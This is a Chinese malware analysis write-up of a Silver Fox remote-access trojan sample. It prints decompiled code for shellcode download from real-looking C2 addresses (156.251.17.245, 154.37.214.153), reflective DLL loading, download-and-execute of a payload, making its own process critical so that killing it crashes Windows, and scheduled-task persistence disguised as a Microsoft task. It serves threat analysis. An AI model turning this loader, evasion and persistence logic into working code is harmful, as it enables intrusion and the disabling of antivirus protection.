【软件逆向-【病毒分析】R3强杀360:银狐远控病毒再进化】此文章归类为:软件逆向。
银狐病毒自2022年起活跃,主要针对中国用户和企事业单位,尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,包括伪装为税务、财务相关文件的钓鱼邮件、社交平台的恶意链接,以及利用SEO(搜索引擎优化)确保其钓鱼网站在中国搜索引擎中的排名靠前。此外,银狐还结合恶意广告投放和多次电子邮件钓鱼活动,分发远程管理木马(RATs),以实现对受害者设备的远程控制和数据窃取。
以下为近期捕获到的一起银狐病毒样本,我们对其进行了深入分析。
文件名 | 明细查看_Setup.exe |
---|---|
大小 | 2.67 MB |
操作系统 | Windows(Vista)[AMD64, 64位, GUI] |
模式 | 32 位 |
类型 | EXEC |
字节序 | LE |
MD5 | 1a416558435d62dcca79346e6b839370 |
SHA1 | 039e938f5af45edc168c6aa6ebe450f2bc7eddd7 |
SHA256 | 035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea |
程序执行流程如下,通过多次远程加载shellcode执行远控
程序入口为start
其中第一个函数便是用于加载shellcode的
遍历函数数组逐个执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | int shellcode_execute_1() { int result; // eax int v1; // edi int v2; // ebx void (*v3)( void ); // esi unsigned int v4[6]; // [esp-Ch] [ebp-1Ch] BYREF int v5; // [esp+Ch] [ebp-4h] int savedregs; // [esp+10h] [ebp+0h] BYREF result = dword_6827D0; if ( dword_6827D0 ) { v1 = *(_DWORD *)dword_6827D0; v2 = 0; v5 = *(_DWORD *)(dword_6827D0 + 4); v4[2] = (unsigned int )&savedregs; v4[1] = (unsigned int )&loc_40508D; v4[0] = (unsigned int )NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int )v4); if ( v1 > 0 ) { do { v3 = *( void (**)( void ))(v5 + 8 * v2++); dword_6827D4 = v2; if ( v3 ) v3(); } while ( v1 > v2 ); } result = 0; __writefsdword(0, v4[0]); } return result; } |
如下
最后执行用于远程加载shellcode的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | int sub_65D174() { int v1; // [esp+0h] [ebp-204h] BYREF _DWORD v2[4]; // [esp+190h] [ebp-74h] BYREF int (__stdcall *VirtualAlloc)(_DWORD, int , int , int ); // [esp+1A0h] [ebp-64h] void (__stdcall *WSAStartup)( int , int *); // [esp+1ACh] [ebp-58h] int (__stdcall *socket)( int , int , _DWORD); // [esp+1B0h] [ebp-54h] int (__stdcall *htons)( int ); // [esp+1B4h] [ebp-50h] void (__stdcall *connect)( int , _WORD *, int ); // [esp+1BCh] [ebp-48h] int (__stdcall *recv)( int , char *, int , _DWORD); // [esp+1C8h] [ebp-3Ch] int v9; // [esp+1CCh] [ebp-38h] int v10; // [esp+1D0h] [ebp-34h] _WORD v11[2]; // [esp+1D4h] [ebp-30h] BYREF int ip_addr; // [esp+1D8h] [ebp-2Ch] int (*v13)( void ); // [esp+1E4h] [ebp-20h] int v14; // [esp+1E8h] [ebp-1Ch] char v15[8]; // [esp+1ECh] [ebp-18h] BYREF char v16[8]; // [esp+1F4h] [ebp-10h] BYREF int v17; // [esp+1FCh] [ebp-8h] int v18; // [esp+200h] [ebp-4h] sub_65D284(v2); v13 = ( int (*)( void ))VirtualAlloc(0, 122880, 12288, 64); v17 = 0; v10 = 4096; v9 = 118784; WSAStartup(514, &v1); v14 = socket(2, 1, 0); v11[0] = 2; v11[1] = htons(8852); ip_addr = 0xF511FB9C; connect(v14, v11, 16); while ( 1 ) { v18 = recv(v14, ( char *)v13 + v17, 4096, 0); if ( v18 <= 0 ) break ; v17 += v18; } strcpy (v16, "hello" ); strcpy (v15, "hel1o" ); return v13(); } |
向地址156.251.17.245:8852发送请求远程加载shellcode
然后指针执行shellcode
发现指针unk_3470BD7指向一个pe文件
将其dump下来
发现是一个dll文件
其中这个dll提供了一个导出函数
初步查看似乎是与关闭360相关的
加载函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | kernel32_dll_str[0] = 'k' ; kernel32_dll_str[1] = 'e' ; kernel32_dll_str[4] = 'e' ; kernel32_dll_str[6] = '3' ; kernel32_dll_str[7] = '2' ; kernel32_dll_str[8] = '.' ; v112 = 0; VirtualAlloc = 0; FlushInstructionCache = 0; GetNativeSystemInfo = 0; VirtualProtect = 0; Sleep_1 = 0; v118 = 0; kernel32_dll_str[2] = 'r' ; kernel32_dll_str[3] = 'n' ; kernel32_dll_str[5] = 'l' ; kernel32_dll_str[9] = 'd' ; kernel32_dll_str[10] = 'l' ; kernel32_dll_str[11] = 'l' ; qmemcpy(Sleep, "Sleep" , 5); qmemcpy(v106, "VirtualAllocLoadLibraryAVirtualProtect" , 38); qmemcpy(v109, "FlushInstructionCache" , 21); qmemcpy(v107, "GetNativeSystemInfo" , 19); qmemcpy(v108, "RtlAddFunctionTable" , 19); LdrLoadDll = ( void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrGetProcedureAddress(v86, v88, v90, v92); ProcedureAddress = ( char *)LdrGetProcedureAddress(v87, v89, v91, v93); v120 = kernel32_dll_str; v119[1] = 24; v119[0] = 24; v103 = ProcedureAddress; LdrLoadDll(0, 0, v119, &v97); v94 = 0xC000C; v95 = v106; (( void (__stdcall *)( int , int *, _DWORD, int (__stdcall **)(_DWORD, int , int , int )))ProcedureAddress)( v97, &v94, 0, &VirtualAlloc); v94 = 917518; v95 = &v106[6]; (( void (__stdcall *)( int , int *, _DWORD, _DWORD))ProcedureAddress)(v97, &v94, 0, &VirtualProtect); v94 = 1376277; v95 = v109; (( void (__stdcall *)( int , int *, _DWORD, void (__stdcall **)( int , _DWORD, _DWORD)))ProcedureAddress)( v97, &v94, 0, &FlushInstructionCache); v94 = 1245203; v95 = v107; (( void (__stdcall *)( int , int *, _DWORD, void (__stdcall **)( char *)))ProcedureAddress)( v97, &v94, 0, &GetNativeSystemInfo); v94 = 0x50005; v95 = Sleep; (( void (__stdcall *)( int , int *, _DWORD, void (__stdcall **)(unsigned int )))ProcedureAddress)(v97, &v94, 0, &Sleep_1); v94 = 1245203; v95 = v108; (( void (__stdcall *)( int , int *, _DWORD, int *))ProcedureAddress)(v97, &v94, 0, &v118); v94 = 0xC000C; v95 = &v106[3]; (( void (__stdcall *)( int , int *, _DWORD, int (__stdcall **)( int )))ProcedureAddress)(v97, &v94, 0, &v112); if ( !VirtualAlloc ) return 0; if ( !VirtualProtect ) return 0; if ( !Sleep_1 ) return 0; if ( !FlushInstructionCache ) return 0; if ( !GetNativeSystemInfo ) return 0; |
获取dll中导出函数的地址
1 2 3 4 5 6 7 8 9 10 11 12 | int __stdcall LdrGetProcedureAddressForCaller( int a1, int a2, int a3, int a4) { void *retaddr; // [esp+4h] [ebp+4h] return (( int (__stdcall *)( int , int , int , int , _DWORD, void *))ntdll_LdrGetProcedureAddressForCaller)( a1, a2, a3, a4, 0, retaddr); } |
校验pe结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | str_PE = &a1[*((_DWORD *)a1 + 15)]; if ( *(_DWORD *)str_PE != 'EP' ) return 0; if ( *((_WORD *)str_PE + 2) != 332 ) return 0; v10 = *((_DWORD *)str_PE + 14); if ( (v10 & 1) != 0 ) return 0; v11 = 0; v12 = *((unsigned __int16 *)str_PE + 3); if ( *((_WORD *)str_PE + 3) ) { v13 = &str_PE[*((unsigned __int16 *)str_PE + 10) + 36]; do { if ( *((_DWORD *)v13 + 1) ) v10 = *((_DWORD *)v13 + 1); v14 = *(_DWORD *)v13 + v10; if ( v14 <= v11 ) v14 = v11; v13 += 40; v11 = v14; v10 = *((_DWORD *)str_PE + 14); --v12; } while ( v12 ); v8 = a1; } |
经过一系列的自解密后刷新进程的指令缓存
然后执行
即在内存中反射加载的dll的DllEntryPoint中的起始部分,生成了一个伪随机数
Dllmain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | int __cdecl dllmain_dispatch( HINSTANCE hinstDLL, DWORD fdwReason, void * const lpvReserved) { void *v4; // ebx int v5; // esi int v6; // eax if ( !fdwReason && dword_1000D168 <= 0 ) return 0; if ( fdwReason != 1 && fdwReason != 2 ) { v4 = lpvReserved; LABEL_9: v6 = (( int (__stdcall *)( HINSTANCE , DWORD , void *))dllmain)(hinstDLL, fdwReason, v4); v5 = v6; if ( fdwReason == 1 && !v6 ) { (( void (__stdcall *)( HINSTANCE , _DWORD, void *))dllmain)(hinstDLL, 0, v4); (( void (__cdecl *)( bool ))unk_100077D9)(v4 != 0); (( void (__stdcall *)( HINSTANCE , _DWORD, void *))dllmain_raw)(hinstDLL, 0, v4); } if ( !fdwReason || fdwReason == 3 ) { v5 = (( int (__stdcall *)( HINSTANCE , DWORD , void *))dllmain_crt_dispatch)(hinstDLL, fdwReason, v4); if ( v5 ) return (( int (__stdcall *)( HINSTANCE , DWORD , void *))dllmain_raw)(hinstDLL, fdwReason, v4); } return v5; } v4 = lpvReserved; v5 = (( int (__stdcall *)( HINSTANCE , DWORD , void * const ))dllmain_raw)(hinstDLL, fdwReason, lpvReserved); if ( v5 ) { v5 = (( int (__stdcall *)( HINSTANCE , DWORD , void * const ))dllmain_crt_dispatch)(hinstDLL, fdwReason, lpvReserved); if ( v5 ) goto LABEL_9; } return v5; } |
判断自身是否位于C:\\Users\\username\\AppData\\Roaming\\
目录下,如果不在则将自身移动到C:\\Users\\username\\AppData\\Roaming\\
目录下,下并调用ShellExecuteA打开,然后退出程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | int __usercall sub_100020A0@<eax>( int a1@<esi>) { bool v1; // cf int *v3; // eax _DWORD v4[6]; // [esp+4h] [ebp-19Ch] BYREF _DWORD v5[6]; // [esp+1Ch] [ebp-184h] BYREF int *v6; // [esp+34h] [ebp-16Ch] int v7; // [esp+38h] [ebp-168h] int *v8; // [esp+3Ch] [ebp-164h] const char *v9; // [esp+40h] [ebp-160h] const char *v10; // [esp+44h] [ebp-15Ch] BOOL v11; // [esp+48h] [ebp-158h] int v12; // [esp+4Ch] [ebp-154h] int *v13; // [esp+50h] [ebp-150h] unsigned __int8 *v14; // [esp+54h] [ebp-14Ch] bool v15; // [esp+59h] [ebp-147h] unsigned __int8 v16; // [esp+5Ah] [ebp-146h] unsigned __int8 v17; // [esp+5Bh] [ebp-145h] int v18[6]; // [esp+5Ch] [ebp-144h] BYREF int v19[6]; // [esp+74h] [ebp-12Ch] BYREF _BYTE v20[260]; // [esp+8Ch] [ebp-114h] BYREF int v21; // [esp+19Ch] [ebp-4h] get_path(v18, 26); v21 = 0; sub_10001920(( int )v19); LOBYTE(v21) = 1; v10 = ( const char *)sub_100029F0(v19); v9 = ( const char *)sub_100029F0(v18); sprintf (( int )v20, 260, ( int ) "%s\\%s" , v9, v10); v8 = sub_100018C0(v5); v13 = sub_100029F0(v8); v14 = v20; while ( 1 ) { v17 = *v14; v1 = v17 < *(_BYTE *)v13; if ( v17 != *(_BYTE *)v13 ) break ; if ( !v17 ) goto LABEL_6; v16 = v14[1]; v1 = v16 < *((_BYTE *)v13 + 1); if ( v16 != *((_BYTE *)v13 + 1) ) break ; v14 += 2; v13 = ( int *)(( char *)v13 + 2); if ( !v16 ) { LABEL_6: v12 = 0; goto LABEL_8; } } v12 = v1 ? -1 : 1; LABEL_8: v7 = v12; v11 = v12 == 0; v15 = v12 == 0; sub_10002A40(v5); if ( v15 ) { LOBYTE(v21) = 0; sub_10002A40(v19); v21 = -1; return sub_10002A40(v18); } else { v6 = sub_100018C0(v4); v3 = sub_100029F0(v6); kernel32_CopyFileA(a1, ( int )v3, ( int )v20, 0); sub_10002A40(v4); (( void (__stdcall *)(_DWORD, const char *, _BYTE *, _DWORD, _DWORD, int ))shell32_ShellExecuteA)( 0, "open" , v20, 0, 0, 1); (( void (__stdcall *)(_DWORD))ucrtbase_exit)(0); LOBYTE(v21) = 0; sub_10002A40(v19); v21 = -1; return sub_10002A40(v18); } } |
然后执行反射加载的dll中的导出函数VFPower
下载了一个名为project的exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | ppResult = 0; i = 0; WSAStartup(0x202u, &WSAData); pHints.ai_flags = 0; memset (&pHints.ai_addrlen, 0, 16); pHints.ai_family = 2; pHints.ai_socktype = 1; pHints.ai_protocol = 6; v7 = getaddrinfo( "154.37.214.153" , "18853" , &pHints, &ppResult); if ( v7 ) { WSACleanup(); exit (0); } for ( i = ppResult; i; i = i->ai_next ) { s = socket(i->ai_family, i->ai_socktype, i->ai_protocol); if ( s == -1 ) { WSACleanup(); exit (0); } v7 = connect(s, i->ai_addr, i->ai_addrlen); if ( v7 != -1 ) break ; closesocket(s); s = -1; } freeaddrinfo(ppResult); if ( s == -1 ) { WSACleanup(); exit (0); } v8 = 0; ElementCount = 0; Size = 4096; Block = malloc (0x1000u); while ( 1 ) { v8 = recv(s, ( char *)Block + ElementCount, Size - ElementCount, 0); if ( v8 <= 0 ) break ; ElementCount += v8; if ( ElementCount == Size ) { Size *= 2; Block = realloc (Block, Size); } if ( v8 <= 0 ) goto LABEL_19; } if ( v8 ) { closesocket(s); WSACleanup(); free (Block); exit (0); } LABEL_19: closesocket(s); WSACleanup(); v5 = sub_10001800(( int )v4, 26); v4[7] = v5; v18 = 0; sub_100035B0(( int )v16, v5, "\\project.exe" ); v18 = -1; sub_10002650(v4); v0 = ( const char *)sub_10002600(v16); Stream = fopen (v0, "wb" ); if ( !Stream ) { free (Block); exit (0); } v4[6] = fwrite (Block, 1u, ElementCount, Stream); fclose (Stream); free (Block); v1 = ( const CHAR *)sub_10002600(v16); |
执行它,然后再删除文件
1 2 3 4 5 6 7 8 9 | WinExec(v1, 0); while ( 1 ) { v2 = ( const CHAR *)sub_10002600(v16); if ( DeleteFileA(v2) ) break ; Sleep(0x3E8u); } return sub_10002650(v16); |
检测进程函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | char __cdecl CheckProcessExists( int a1) { int v2; // eax int v3; // [esp+0h] [ebp-238h] int v4; // [esp+4h] [ebp-234h] _DWORD v5[9]; // [esp+8h] [ebp-230h] BYREF _BYTE v6[520]; // [esp+2Ch] [ebp-20Ch] BYREF v4 = (( int (__stdcall *)( int , _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0); if ( v4 == -1 ) return 0; v5[0] = 556; if ( (( int (__stdcall *)( int , _DWORD *))kernel32_Process32FirstW)(v4, v5) ) { do { v2 = (( int (__thiscall *)( int ))unk_10002890)(a1); if ( !(( int (__cdecl *)(_BYTE *, int ))ucrtbase__wcsicmp)(v6, v2) ) { (( void (__stdcall *)( int ))kernel32_CloseHandle)(v4); return 1; } } while ( (( int (__stdcall *)( int , _DWORD *))kernel32_Process32NextW)(v4, v5) ); (( void (__stdcall *)( int ))kernel32_CloseHandle)(v4); return 0; } else { v3 = (( int (__cdecl *)( void *, const char *))unk_10003600)( &msvcp140__cerr_std__3V__basic_ostream_DU__char_traits_D_std___1_A, "Failed to retrieve first process." ); (( void (__thiscall *)( int , void *))msvcp140___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_P6AAAV01_AAV01__Z_Z)( v3, &unk_10003950); (( void (__stdcall *)( int ))kernel32_CloseHandle)(v4); return 0; } } |
判断360tray.exe是否存在
提权并将自己设置为系统关键进程。如果进程被关闭,则会造成蓝屏。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | v18 = (( int (__stdcall *)( const wchar_t *))kernel32_LoadLibraryW)(L "ntdll.dll" ); RtlAdjustPrivilege = (NTSTATUS (__stdcall *)( ULONG , BOOLEAN , BOOLEAN , PBOOLEAN ))(( int (__stdcall *)( int , const char *))kernel32_GetProcAddress)( v18, "RtlAdjustPrivilege" ); RtlSetProcessIsCritical = ( int (__stdcall *)(_DWORD, _DWORD, _DWORD))(( int (__stdcall *)( int , const char *))kernel32_GetProcAddress)( v18, "RtlSetProcessIsCritical" ); v11 = RtlAdjustPrivilege; RtlAdjustPrivilege(0x14u, 1u, 0, &v31); v10 = RtlSetProcessIsCritical; RtlSetProcessIsCritical(1, 0, 0); (( void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v3, L "360tray.exe" ); v26 |= 0x10u; v17 = !(unsigned __int8 )(( int (__cdecl *)(_BYTE *))CheckProcessExists)(v3) && ((( void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v4, L "360Tray.exe" ), v26 |= 0x20u, !(unsigned __int8 )(( int (__cdecl *)(_BYTE *))CheckProcessExists)(v4)); v22 = v17; |
如果进程被关闭,则会造成蓝屏。
利用rpc创建计划任务实现维权。具体手法可以参考文章e41K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3X3g2S2L8r3W2&6N6h3&6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3x3e0x3@1x3U0R3&6y4b7`.`.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | RPC_BINDING_HANDLE sub_10004C70() { RPC_WSTR StringBinding; // [esp+Ch] [ebp-1Ch] BYREF RPC_BINDING_HANDLE Binding; // [esp+10h] [ebp-18h] BYREF RPC_SECURITY_QOS SecurityQos; // [esp+14h] [ebp-14h] BYREF Binding = 0; memset (&SecurityQos, 0, sizeof (SecurityQos)); if ( RpcStringBindingComposeW(0, L "ncacn_np" , (RPC_WSTR)L "localhost" , L "\\pipe\\atsvc" , 0, &StringBinding) ) return 0; RpcBindingFromStringBindingW(StringBinding, &Binding); SecurityQos.Version = 1; SecurityQos.ImpersonationType = 3; SecurityQos.Capabilities = 0; SecurityQos.IdentityTracking = 0; RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos); RpcStringFreeW(&StringBinding); return Binding; } int __cdecl sub_100070F0( char a1) { return (( int (__cdecl *)(_UNKNOWN **, char *, char *))rpcrt4_NdrClientCall2)( &off_1000A520, ( char *)&unk_1000A5BA + 40, &a1); } |
内置了一段计划任务相关的xml文档
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | aXmlVersion10En: ; DATA XREF: .data:off_1000D0C4↓o text "UTF-16LE" , '<?xml version="1.0" encoding="UTF-16"?>' ,0Ah text "UTF-16LE" , '<Task xmlns="http://schemas.microsoft.com/windows/2' text "UTF-16LE" , '004/02/mit/task">' ,0Ah text "UTF-16LE" , ' <RegistrationInfo>' ,0Ah text "UTF-16LE" , ' <Date>2006-11-10T14:29:55.5851926</Date>' ,0Ah text "UTF-16LE" , ' <Author>Microsoft Corporation</Author>' ,0Ah text "UTF-16LE" , ' <Description>' .rdata:10009666 aAdRmsWebDescr: text "UTF-16LE" , '更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提' text "UTF-16LE" , '供凭据提示。</Description>' ,0Ah text "UTF-16LE" , ' <URI>\WakeUpAndContinueUpdatesde</URI>' ,0Ah text "UTF-16LE" , ' <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(' text "UTF-16LE" , 'A;;FRFX;;;WD)</SecurityDescriptor>' ,0Ah text "UTF-16LE" , ' </RegistrationInfo>' ,0Ah text "UTF-16LE" , ' <Triggers>' ,0Ah text "UTF-16LE" , ' <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5' text "UTF-16LE" , 'ddbaf11">' ,0Ah text "UTF-16LE" , ' <Enabled>true</Enabled>' ,0Ah text "UTF-16LE" , ' <Delay>PT30S</Delay>' ,0Ah text "UTF-16LE" , ' </LogonTrigger>' ,0Ah text "UTF-16LE" , ' </Triggers>' ,0Ah text "UTF-16LE" , ' <Principals>' ,0Ah text "UTF-16LE" , ' <Principal id="AllUsers">' ,0Ah text "UTF-16LE" , ' <GroupId>S-1-1-0</GroupId>' ,0Ah text "UTF-16LE" , ' <RunLevel>HighestAvailable</RunLevel>' ,0Ah text "UTF-16LE" , ' </Principal>' ,0Ah text "UTF-16LE" , ' </Principals>' ,0Ah text "UTF-16LE" , ' <Settings>' ,0Ah text "UTF-16LE" , ' <MultipleInstancesPolicy>Parallel</MultipleInst' text "UTF-16LE" , 'ancesPolicy>' ,0Ah text "UTF-16LE" , ' <DisallowStartIfOnBatteries>false</DisallowStar' text "UTF-16LE" , 'tIfOnBatteries>' ,0Ah text "UTF-16LE" , ' <StopIfGoingOnBatteries>false</StopIfGoingOnBat' text "UTF-16LE" , 'teries>' ,0Ah text "UTF-16LE" , ' <AllowHardTerminate>false</AllowHardTerminate>' ,0Ah text "UTF-16LE" , ' <StartWhenAvailable>true</StartWhenAvailable>' ,0Ah text "UTF-16LE" , ' <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetwo' text "UTF-16LE" , 'rkAvailable>' ,0Ah text "UTF-16LE" , ' <IdleSettings>' ,0Ah text "UTF-16LE" , ' <StopOnIdleEnd>true</StopOnIdleEnd>' ,0Ah text "UTF-16LE" , ' <RestartOnIdle>false</RestartOnIdle>' ,0Ah text "UTF-16LE" , ' </IdleSettings>' ,0Ah text "UTF-16LE" , ' <AllowStartOnDemand>true</AllowStartOnDemand>' ,0Ah text "UTF-16LE" , ' <Enabled>true</Enabled>' ,0Ah text "UTF-16LE" , ' <Hidden>false</Hidden>' ,0Ah text "UTF-16LE" , ' <RunOnlyIfIdle>false</RunOnlyIfIdle>' ,0Ah text "UTF-16LE" , ' <DisallowStartOnRemoteAppSession>false</Disallo' text "UTF-16LE" , 'wStartOnRemoteAppSession>' ,0Ah text "UTF-16LE" , ' <UseUnifiedSchedulingEngine>true</UseUnifiedSch' text "UTF-16LE" , 'edulingEngine>' ,0Ah text "UTF-16LE" , ' <WakeToRun>false</WakeToRun>' ,0Ah text "UTF-16LE" , ' <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>' ,0Ah text "UTF-16LE" , ' <Priority>7</Priority>' ,0Ah text "UTF-16LE" , ' <RestartOnFailure>' ,0Ah text "UTF-16LE" , ' <Interval>PT1M</Interval>' ,0Ah text "UTF-16LE" , ' <Count>16</Count>' ,0Ah text "UTF-16LE" , ' </RestartOnFailure>' ,0Ah text "UTF-16LE" , ' </Settings>' ,0Ah text "UTF-16LE" , ' <Actions Context="AllUsers">' ,0Ah text "UTF-16LE" , ' <Exec>' ,0Ah text "UTF-16LE" , ' <Command>5555555555</Command>' ,0Ah text "UTF-16LE" , ' </Exec>' ,0Ah text "UTF-16LE" , ' </Actions>' ,0Ah text "UTF-16LE" , '</Task>' ,0Ah,0 |
创建了如下计划任务
又从一个新的地址156.251.17.245:18852
远程加载shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | { int (*v1)( void ); // [esp+0h] [ebp-1D8h] int v2; // [esp+8h] [ebp-1D0h] int v3; // [esp+Ch] [ebp-1CCh] int v4; // [esp+10h] [ebp-1C8h] int v5; // [esp+14h] [ebp-1C4h] int v6; // [esp+18h] [ebp-1C0h] _DWORD *i; // [esp+1Ch] [ebp-1BCh] _DWORD *v8; // [esp+20h] [ebp-1B8h] BYREF _BYTE v9[400]; // [esp+24h] [ebp-1B4h] BYREF _DWORD v10[8]; // [esp+1B4h] [ebp-24h] BYREF v8 = 0; (( void (__stdcall *)( int , _BYTE *))ws2_32_WSAStartup)(514, v9); v10[0] = 0; memset (&v10[4], 0, 16); v10[1] = 2; v10[2] = 1; v10[3] = 6; if ( (( int (__stdcall *)( const char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)( "156.251.17.245" , "18852" , v10, &v8) ) { goto LABEL_9; } for ( i = v8; i; i = (_DWORD *)i[7] ) { v6 = (( int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]); if ( v6 == -1 ) goto LABEL_9; if ( (( int (__stdcall *)( int , _DWORD, _DWORD))ws2_32_connect)(v6, i[6], i[4]) != -1 ) break ; (( void (__stdcall *)( int ))ws2_32_closesocket)(v6); v6 = -1; } (( void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v8); if ( v6 == -1 ) { LABEL_9: (( void (*)( void ))ws2_32_WSACleanup)(); return (( int (__stdcall *)(_DWORD))ucrtbase_exit)(0); } else { v5 = 0; v4 = 4096; v2 = (( int (__cdecl *)( int ))ucrtbase_malloc)(4096); while ( 1 ) { v3 = (( int (__stdcall *)( int , int , int , _DWORD))ws2_32_recv)(v6, v5 + v2, v4 - v5, 0); if ( v3 <= 0 ) break ; v5 += v3; if ( v5 == v4 ) { v4 *= 2; v2 = (( int (__cdecl *)( int , int ))ucrtbase_realloc)(v2, v4); } } if ( v3 ) { (( void (__stdcall *)( int ))ws2_32_closesocket)(v6); (( void (*)( void ))ws2_32_WSACleanup)(); (( void (__cdecl *)( int ))ucrtbase_free)(v2); return (( int (__stdcall *)(_DWORD))ucrtbase_exit)(0); } else { v1 = ( int (*)( void ))(( int (__stdcall *)(_DWORD, int , int , int ))kernel32_VirtualAlloc)(0, v5, 12288, 64); (( void (__cdecl *)( int (*)( void ), int , int )) memset )(v1, v2, v5); return v1(); } } } |
动态加载api
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | v113[0] = 'k' ; v113[1] = 'e' ; v113[4] = 'e' ; v113[6] = '3' ; v113[7] = '2' ; v113[8] = '.' ; v108 = 0; VirtualAlloc = 0; FlushInstructionCache = 0; GetNativeSystemInfo = 0; VirtualProtect = 0; Sleep = 0; v114 = 0; v113[2] = 'r' ; v113[3] = 'n' ; v113[5] = 'l' ; v113[9] = 'd' ; v113[10] = 'l' ; v113[11] = 'l' ; qmemcpy(v97, "Sleep" , 5); qmemcpy(v98, "VirtualAllocLoadLibraryAVirtualProtect" , 38); qmemcpy(v105, "FlushInstructionCache" , 21); qmemcpy(v103, "emInfo" , sizeof (v103)); qmemcpy(v99, "Ge" , sizeof (v99)); v100 = &unk_74614E74; qmemcpy(v101, "ive" , sizeof (v101)); v102 = &unk_74737953; qmemcpy(v104, "RtlAddFunctionTable" , 19); LdrLoadDll = load(( void *)0xBDBF9C13); LdrGetProcedureAddressForCaller = load(( void *)0x5ED941B5); v116 = v113; v115[1] = 24; v115[0] = 24; v95 = LdrGetProcedureAddressForCaller; (( void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrLoadDll)(0, 0, v115, &v89); v86 = 786444; v87 = v98; (( void (__stdcall *)( int , int *, _DWORD, int (__stdcall **)(_DWORD, int , int , int )))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &VirtualAlloc); v86 = 917518; v87 = &v98[6]; (( void (__stdcall *)( int , int *, _DWORD, _DWORD))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &VirtualProtect); v86 = 1376277; v87 = v105; (( void (__stdcall *)( int , int *, _DWORD, void (__stdcall **)( int , _DWORD, _DWORD)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &FlushInstructionCache); v86 = 1245203; v87 = v99; (( void (__stdcall *)( int , int *, _DWORD, void (__stdcall **)( char *)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &GetNativeSystemInfo); v86 = 327685; v87 = v97; (( void (__stdcall *)( int , int *, _DWORD, void (__stdcall **)(unsigned int )))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &Sleep); v86 = 1245203; v87 = v104; (( void (__stdcall *)( int , int *, _DWORD, int *))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &v114); v86 = 786444; v87 = &v98[3]; (( void (__stdcall *)( int , int *, _DWORD, int (__stdcall **)( int )))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &v108); if ( !VirtualAlloc ) return 0; if ( !VirtualProtect ) return 0; if ( !Sleep ) return 0; if ( !FlushInstructionCache ) return 0; if ( !GetNativeSystemInfo ) return 0; |
生成配置信息
